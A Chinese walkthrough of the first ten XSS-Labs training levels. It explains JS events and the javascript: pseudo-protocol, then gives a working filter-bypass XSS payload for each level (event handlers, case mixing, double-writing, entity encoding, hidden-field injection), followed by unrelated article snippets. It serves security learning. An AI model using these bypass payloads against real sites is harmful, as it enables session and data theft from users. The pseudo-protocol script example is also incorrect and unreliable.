当前位置: 首页 > news >正文

XSS-Labs 靶场通过解析(上)

前言

XSS-Labs靶场是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台。它提供了一系列的实验场景和演示,帮助安全研究人员、开发人员和安全爱好者深入了解XSS攻击的原理和防御方法。

XSS-Labs靶场的主要特点和功能包括:

1. 靶场场景:XSS-Labs提供了多个不同的靶场场景,每个场景都涵盖了不同类型的XSS漏洞,包括反射型、存储型和DOM型XSS等。通过这些场景,用户可以模拟和实践真实环境中可能出现的XSS攻击场景。

2. 攻击模拟:XSS-Labs允许用户模拟和执行XSS攻击,通过向靶场提交恶意的XSS代码,触发漏洞并获取相关信息。用户可以尝试不同的攻击载荷和技术,学习如何在不同场景下构造有效的XSS攻击。

3. 漏洞修复:XSS-Labs还提供了漏洞修复的练习,用户可以学习和实践如何修复XSS漏洞以增强应用程序的安全性。这些练习可以帮助开发人员了解XSS攻击的弱点,并采取相应的防御措施。

4. 文档和教程:XSS-Labs为用户提供了丰富的文档和教程,介绍了XSS攻击的基础知识、常见的攻击技术和防御方法。用户可以通过阅读这些文档和教程,全面了解XSS攻击并提升自己的安全意识和技能。

总的来说,XSS-Labs靶场是一个提供了多个实验场景和演示的在线平台,旨在帮助用户学习和练习XSS攻击技术,并提供相应的文档和教程来增强对XSS攻击的理解和防御能力。

补充知识点

JS 事件

JS事件是指在网页中发生的交互动作或状态变化,例如点击按钮、鼠标移动、键盘按下等。通过JS事件,可以捕获这些动作或变化,并执行相应的代码来响应用户的操作。

JS事件可以分为以下几个部分来解析:

1. 事件类型(Event Type):每个事件都有一个特定的类型,用来描述事件的发生方式或者操作类型。例如,"click"表示点击事件,"mouseover"表示鼠标悬停事件,"keydown"表示键盘按下事件等。

2. 事件目标(Event Target):每个事件都有一个目标元素,即事件发生的元素。例如,点击按钮时,按钮就是事件目标。事件目标可以通过JS代码获取,例如使用`document.getElementById('elementId')` 来获取具有特定id的元素。

3. 事件监听器(Event Listener):通过事件监听器,可以指定当特定事件发生时要执行的代码。事件监听器可以通过`addEventListener`方法来添加,该方法接收两个参数:事件类型和要执行的代码。例如:

```
document.getElementById('myButton').addEventListener('click', function() {alert('Button clicked!');
});
```

这个例子中,当id为"myButton"的按钮被点击时,会弹出一个提示框显示"Button clicked!"。

4. 事件对象(Event Object):每个事件都有一个关联的事件对象,其中包含了关于事件的详细信息,例如事件类型、事件目标、鼠标位置等。可以通过事件监听器的回调函数的参数来访问事件对象。例如,在点击事件的回调函数中,可以使用`event.target`来获取事件目标元素。

5. 事件传播(Event Propagation):当一个事件发生时,它会从目标元素开始向上级元素传播,这个过程被称为事件传播。事件传播分为两个阶段:捕获阶段(capture phase)和冒泡阶段(bubble phase)。可以通过`addEventListener`方法的第三个参数来指定事件监听器在捕获阶段还是冒泡阶段执行。

JS 伪协议

JS伪协议(javascript:)是一种特殊的URL协议,用于在网页中直接执行JavaScript代码。它的基本形式是在URL中以"javascript:"开头,后面跟着一段JavaScript代码。

JS伪协议的使用场景包括:

1. 在链接中执行JavaScript代码:可以通过给链接的href属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,点击链接时弹出一个提示框:

```
<a href="javascript:alert('Hello, World!');">点击我</a>
```

2. 在表单中执行JavaScript代码:可以通过给表单的onsubmit属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,当表单提交时执行一段JavaScript代码:

```
<form onsubmit="javascript:alert('Form submitted!');"><input type="submit" value="提交">
</form>
```

3. 在脚本中执行JavaScript代码:可以直接在<script>标签中使用JS伪协议来执行JavaScript代码。例如:

```
<script>var result = javascript:1 + 2;console.log(result); // 输出: 3
</script>
```

需要注意的是,使用JS伪协议存在一些安全风险。因为它可以执行任意的JavaScript代码,所以可能会被恶意使用。为了避免潜在的安全漏洞,应该谨慎处理用户输入,并避免在JS伪协议中执行不可信的代码。

另外,JS伪协议在现代的Web开发中并不常见,因为它的使用方式比较简单粗暴,不够优雅和可维护。相比之下,更常见的做法是使用事件监听器和其他技术来实现与页面交互效果

一、Level 1(修改 name)

观察页面可知 name 值对应用户名

更改 name 值验证猜想

直接传入 JS 代码

?name=<script>alert(1)</script>

二、Level 2(闭合 input) 

随便输入值检查源代码发现位于 value 中

可以在搜索框中闭合掉 value 及 input 标签来执行 JS 代码

"><script>alert(2)</script><

三、Level 3(单引号闭合 value) 

用上一关的 payload 测试推测应该被过滤了

查看源码确实是过滤了,但是 value 值使用的是单引号,可以尝试能否闭合

' onmouseover=alert(3) '

四、Level 4(构造 JS 事件) 

用第一关的 payload 测试发现过滤掉了 < 和 >

尝试通过构造 JS 事件执行 JS 代码

" onmouseover=alert(1) "

五、Level 5(JS 伪协议)

老 payload 测试发现过滤了 script

尝试构造事件发现过滤掉了 on

因为没有过滤掉 < 和 > ,所以可以插入新标签通过 JS 伪协议来触发 JS 事件

"> <a href=javascript:alert(5)>hack</a>

六、Level 6(大小写过滤)

使用上一关的 payload 测试发现过滤了 href

因为 HTML 对大小写不敏感,所以采用大小写过滤

"> <a hREF=javascript:alert(6)>hack</a>

七、Level 7(双写绕过) 

使用第二关的 payload 发现过滤关键词 script

双写绕过

"> <scriscriptpt>alert(7)</scriscriptpt>

八、Level 8(Unicode 转 ASCII 编码绕过)

这一关是根据用户输入的值构造一个超链接

传入 JS 伪协议发现被过滤

使用 Unicode 编码转 ASCII 绕过(单独编码一个字符也可以绕过)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

九、Level 9(注释兼编码绕过) 

这一关只有匹配合法的链接才会被添加

不合法的将不会被添加

可以尝试将 JS 代码与 合法的 http:// 一起输入然后注释掉 http://

能添加进去但是有过滤所以得编码绕过(只需将一个字符编码就行)

javascr&#x105;pt:alert(9)//http://

十、Level 10(隐藏表单)

检查源代码发现是有一个表单的

通过 URL 传参发现 t_sort 值对应

?keyword=test?t_link=tlink&t_history=thist&t_sort=tsort

通过 t_sort 构造 payload 同时要闭合掉后面的 type 属性,这里设置为了 hidden 不可见

&t_sort="%20onmouseover="alert(10)"%20type%20"

相关文章:

XSS-Labs 靶场通过解析(上)

前言 XSS-Labs靶场是一个专门用于学习和练习跨站脚本攻击&#xff08;XSS&#xff09;技术的在线平台。它提供了一系列的实验场景和演示&#xff0c;帮助安全研究人员、开发人员和安全爱好者深入了解XSS攻击的原理和防御方法。 XSS-Labs靶场的主要特点和功能包括&#xff1a;…...

开源版本管理系统的搭建一:SVN服务端安装

作者&#xff1a;私语茶馆 1.Windows搭建SVN版本管理系统 点评&#xff1a;SVN本身非常简洁易用&#xff0c;VisualSVN文档支撑非常好&#xff0c;客户端TortoiseSVN非常专业。5星好评。 1.1.SVN概要和组成 背景介绍 Svn是一个开源版本管理系统&#xff0c;由CollabNet公司…...

Fastfetch一个类似neofetch的系统信息工具软件

1. 使用默认配置运行&#xff1a;fastfetch 2. 使用所有支持的模块运行&#xff0c;并找到您感兴趣的内容&#xff1a;fastfetch -c all.jsonc 3. 查找 fastfetch 检测到的所有数据&#xff1a;fastfetch -s <模块> --format json 4. 显示帮助信息&#xff1a;fastfetch …...

DV试验和PV试验介绍

1 基本介绍 DV试验 DV试验&#xff0c;全称Design Verification Test&#xff0c;又称设计验证试验&#xff0c;是指在产品设计阶段&#xff0c;对产品的设计进行验证的一种试验方法。DV试验的主要目的是为了验证产品的设计是否满足功能和性能要求&#xff0c;并找出设计中的…...

RTT PIN设备学习

获取GPIO编号 GET_PIN(port, pin)#define LED_BLUE_PIN GET_PIN(A, 0)设置引脚模式 void rt_pin_mode(rt_base_t pin, rt_base_t mode);设置引脚电平 void rt_pin_write(rt_base_t pin, rt_base_t value);rt_base_t pin 同上&#xff0c; 为引脚编号&#xff0c;尽量通过宏定…...

Spring Boot面试知识点总结(经典15问)

Spring Boot面试知识点总结&#xff08;问答合集&#xff09; 文章目录 Spring Boot面试知识点总结&#xff08;问答合集&#xff09;一、Spring Boot简介二、核心特性三、面试问题及答案问题1&#xff1a;Spring Boot的核心配置文件是什么&#xff1f;问题2&#xff1a;Spring…...

安卓手机原生运行 ARM Ubuntu 24.04 桌面版(一)

本篇文章&#xff0c;聊一聊尝试让安卓手机原生运行 Ubuntu&#xff0c;尤其是运行官方未发布过的 ARM 架构的 Ubuntu 24.04 桌面版本。 写在前面 最近的几篇文章&#xff0c;都包含了比较多的实操内容、需要反复的复现验证&#xff0c;以及大量的调试过程&#xff0c;为了不…...

AHB---数据总线

1. 数据总线 为了实现AHB系统&#xff0c;需要独立的读写数据总线。虽然推荐的最小数据总线宽度被指定为32位&#xff0c;但这可以根据数据总线宽度进行更改。 数据总线包含以下部分&#xff1a; HWDATAHRDATAEndianness&#xff08;字节序&#xff09; 1.1 HWDATA 在写传输…...

「51媒体」企业单位新闻稿件考核,怎么发布

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 电力税务企事业单位部门等单位提供了新闻稿件&#xff0c;如何在一些重点媒体进行宣发呢&#xff1a; 精准锁定发布媒体 了解考核要求&#xff1a;仔细阅读宣传任务名单&#xff0c;了解…...

「 网络安全常用术语解读 」SBOM主流格式CycloneDX详解

CycloneDX是软件供应链的现代标准。CycloneDX物料清单&#xff08;BOM&#xff09;可以表示软件、硬件、服务和其他类型资产的全栈库存。该规范由OWASP基金会发起并领导&#xff0c;由Ecma International标准化&#xff0c;并得到全球信息安全界的支持&#xff0c;如今CycloneD…...

React 之 内置标签<Fragment> (<>...</>) (十一)

通常使用 <>…</> 代替&#xff0c;它们都允许你在不添加额外节点的情况下将子元素组合。相当于vue的内置标签<template/> 1. 返回多个元素 <><OneChild /><AnotherChild /> </>2. 分配多个元素给一个变量 和其他元素一样&#xf…...

Mac M1 解决安装grpcio不可用

问题描述&#xff1a; 使用 pip 已经更新 grpcio 至最新版&#xff0c;调用时还是报错 如下图&#xff1a; Traceback (most recent call last):File "/Users/yu/anaconda3/envs/dify2/lib/python3.10/site-packages/flask/cli.py", line 245, in locate_app__imp…...

Linux第三节--常见的指令介绍集合(持续更新中)

点赞关注不迷路&#xff01;&#xff0c;本节涉及初识Linux第三节&#xff0c;主要为常见的几条指令介绍。 如果文章对你有帮助的话 欢迎 评论&#x1f4ac; 点赞&#x1f44d;&#x1f3fb; 收藏 ✨ 加关注&#x1f440; 期待与你共同进步! Linux下基本指令 1. man指令 Linu…...

SpringMVC简介和体验

一、SpringMVC简介和体验 1.1 介绍 Spring Web MVC :: Spring Framework Spring Web MVC是基于Servlet API构建的原始Web框架&#xff0c;从一开始就包含在Spring Framework中。正式名称“Spring Web MVC”来自其源模块的名称&#xff08; spring-webmvc &#xff09;&#…...

Android单行字符串末尾省略号加icon,图标可点击

如图 设置仅显示单行字符串&#xff0c;末尾用省略号&#xff0c;加跟一个icon&#xff0c;icon可点击 tvName.text "test"val drawable ResourcesCompat.getDrawable(resources, R.mipmap.icon_edit, null)tvName.setCompoundDrawablesWithIntrinsicBounds(null,…...

山东省文史书画研究会成立20周年系列活动徽标征集胜选名单公布

2024年5月1日&#xff0c;山东省文史书画研究会成立20周年系列活动徽标征集落下帷幕。征稿启事下发后&#xff0c;得到社会各界人士的广泛关注与参与&#xff0c;共收到设计方案608件。经过初评&#xff0c;选出5幅作品进入复评&#xff0c;并经过网络投票和专家投票相结合的方…...

相机2:曝光三要素之ISO(感光度)

曝光是相机的感光元件与光线接触成像的过程&#xff0c;而曝光三要素分别指的是光圈大小&#xff0c;快门速度和感光度。这三个因素都可以控制曝光量&#xff0c;同时也分别有自己的特点。 什么是感光度&#xff1f; ISO又叫感光度&#xff0c;指的是相机感光元件&#xff08;…...

已解决java.util.IllegalFormatConversionException异常的正确解决方法,亲测有效!!!

已解决java.util.IllegalFormatConversionException异常的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 报错原因 示例报错代码&#xff1a; 解决思路 解决方法 检查和更正格式说明符 示例修正代码&#xff1a; 调整参数类型…...

OpenCV 库来捕获和处理视频输入和相似度测量(73)

返回:OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 上一篇:OpenCV的周期性噪声去除滤波器(70) 下一篇 :使用 OpenCV 创建视频(74) ​ 目标 如今&#xff0c;拥有数字视频录制系统供您使用是很常见的。因此&#xff0c;您最终会遇到不再处理一批图像&#xf…...

了解TMS运输管理系统,实现物流高效运转

TMS运输管理系统&#xff08;Transportation Management System&#xff09;是一种集成物流和信息技术的解决方案&#xff0c;通过优化运输流程、实时跟踪货物信息和自动化管理操作&#xff0c;提高物流效率&#xff0c;降低运营成本&#xff0c;实现高效运输。 TMS运输管理系…...

数据库原理与应用实验三 嵌套查询

实验目的和要求 加深和掌握对嵌套查询的理解和应用 实验环境 Windows10 SQLServer 实验内容与过程 图书&#xff08;书号&#xff0c;书名&#xff0c;价格&#xff0c;出版社&#xff09; 读者&#xff08;卡号&#xff0c;姓名&#xff0c;年龄&#xff0c;所属单位&a…...

LeetCode 110.平衡二叉树(Java/C/Python3/Go实现含注释说明,Easy)

标签 树深度优先搜索递归 题目描述 给定一个二叉树&#xff0c;判断它是否是高度平衡的二叉树。 本题中&#xff0c;一棵高度平衡的二叉树定义为&#xff1a; 一个二叉树每个节点的左右两个子树的高度差的绝对值不超过1。 原题&#xff1a;LeetCode 110.平衡二叉树 思路及…...

【SQL】ACID事务与隔离级别

数据库事务 数据库事务具有ACID这4个特性&#xff1a; A&#xff1a;Atomicity&#xff0c;原子性&#xff0c;将所有SQL作为原子工作单元执行&#xff0c;要么全部执行&#xff0c;要么全部不执行&#xff1b;C&#xff1a;Consistency&#xff0c;一致性&#xff0c;事务完…...

深度神经网络中的不确定性研究综述

A.单一确定性方法 对于确定性神经网络&#xff0c;参数是确定的&#xff0c;每次向前传递的重复都会产生相同的结果。对于不确定性量化的单一确定性网络方法&#xff0c;我们总结了在确定性网络中基于单一正向传递计算预测y *的不确定性的所有方法。在文献中&#xff0c;可以找…...

实用的Chrome浏览器命令

Google Chrome 是一款广泛使用的网络浏览器&#xff0c;它提供了许多实用的快捷键和命令&#xff0c;可以帮助用户更高效地浏览网页。以下是一些常用的 Chrome 浏览器命令&#xff1a; 1. 新标签页: Ctrl T (Windows/Linux) 或 Command T (Mac) 2. 关闭当前标签: Ctrl W 或…...

无人作业控制器--4G/5G通信

一、环境 开发环境&#xff1a;ubuntu 22 ros2 humble 发布运行环境&#xff1a;地平线旭日x3派、arm64 4G 模组&#xff1a; 移远EC20模块 5G 模组&#xff1a;移远RG200U-CN 网络通信模组根据需要选择其中一款&#xff0c; 前期我们使用4G模组&#xff0c;后续迭代因为…...

动态规划-两个数组的dp问题2

文章目录 1. 不同的子序列&#xff08;115&#xff09;2. 通配符匹配&#xff08;44&#xff09; 1. 不同的子序列&#xff08;115&#xff09; 题目描述&#xff1a; 状态表示&#xff1a; 根据题意这里的dp数组可以定义为二维&#xff0c;并且dp[i][j]表示字符串t的0到i的…...

如何设置并行度 ——《OceanBase 并行执行》系列 2

并行度&#xff08;degree of parallelism&#xff0c;简称 DOP&#xff09;&#xff0c;是指在执行过程中所使用的工作线程数量。设计并行执行的初衷在于充分利用多核资源以提升效率。OceanBase 的并行执行框架支持多种设定并行度的方式&#xff0c;既允许用户手动设置&#x…...

python直接发布到网站wordpress之三批量发布图片

在前面的文章中&#xff0c;实现了使用python操作wordpress发布文字内容和图片内容。 python直接发布到网站wordpress之一只发布文字-CSDN博客 python直接发布到网站wordpress之二发布图片-CSDN博客 不过&#xff0c;此时发布图片的数量只能是一张图片。但在实际应用中&…...

C#面:ADO.NET 相对于ADO等主要有什么改进

C# ADO.NET 是微软为.NET平台开发的一套数据访问技术&#xff0c;相对于传统的ADO&#xff08;ActiveX Data Objects&#xff09;等&#xff0c;它有以下几个主要改进&#xff1a; 面向对象&#xff1a;ADO.NET 是面向对象的数据访问技术&#xff0c;它使用.NET框架中的类和对…...

九寨沟城乡建设官方网站/淘宝网店怎么运营起来

梦到我、我爹和我妈三个人去了越南&#xff0c;住在一家简陋的宾馆里&#xff0c;晚上睡觉的时候我妈为了省钱让我们打地铺&#xff0c;点蜡烛。等天亮了我一个人出去溜达&#xff0c;发现越南人和中国人长的没什么两样&#xff0c;就是穿着打扮不同一些&#xff0c;我看到越南…...

ckeditor wordpress/现在做百度快速收录的方法

大家都知道&#xff0c;Linux 系统有非常多的命令&#xff0c;而且每个命令又有非常多的用法&#xff0c;想要全部记住所有命令的所有用法&#xff0c;恐怕是一件不可能完成的任务。一般情况下&#xff0c;我们学习一个命令时&#xff0c;要么直接百度去搜索它的用法&#xff0…...

电子交易网站流程/郑州百度推广外包

两年一度的上海国际车展再过几天就要开幕了&#xff0c;很多汽车品牌都会选在车展前进行造势&#xff0c;特别是这两年新造车势力的兴起&#xff0c;他们也加入到了这个行列之中。 4 月 10 日这天&#xff0c;在江苏常州&#xff0c;李想创办的车和家旗下的首款增程式电动车理…...

yourphp企业网站管理系统/百度seo怎么提高排名

微服务通讯方式RPC vs REST 图例 从九个方面分析两种通讯方式的差别: RPC采用一些定制的消息格式&#xff0c;服务端和客户端需要以一定的消息格式通讯.REST无强消息耦合性.RPC一般采用二进制消息格式紧凑&#xff0c;性能高.REST采用文本类型的消息协议RPC一般用TCP协议通讯…...

元器件采购最好的网站/湖北百度推广公司

一、输入插件 Logstash配置一定要有一个input和一个output。如果没有写明input&#xff0c;默认会使用logstash-input-stdin&#xff0c;没有写明output&#xff0c;默认会使用logstash-output-stdout。 1.1 标准输入 示例配置如下&#xff1a; input {stdin {add_field &g…...

网站制作软件安卓版/掌门一对一辅导官网

报错原因&#xff1a;LinkedHashMap无法被转换为要查询的实体对象。 首先 导入 net.sf.json 类&#xff08;依赖&#xff09; <dependency><groupId>net.sf.json-lib</groupId><artifactId>json-lib</artifactId><version>2.3</versi…...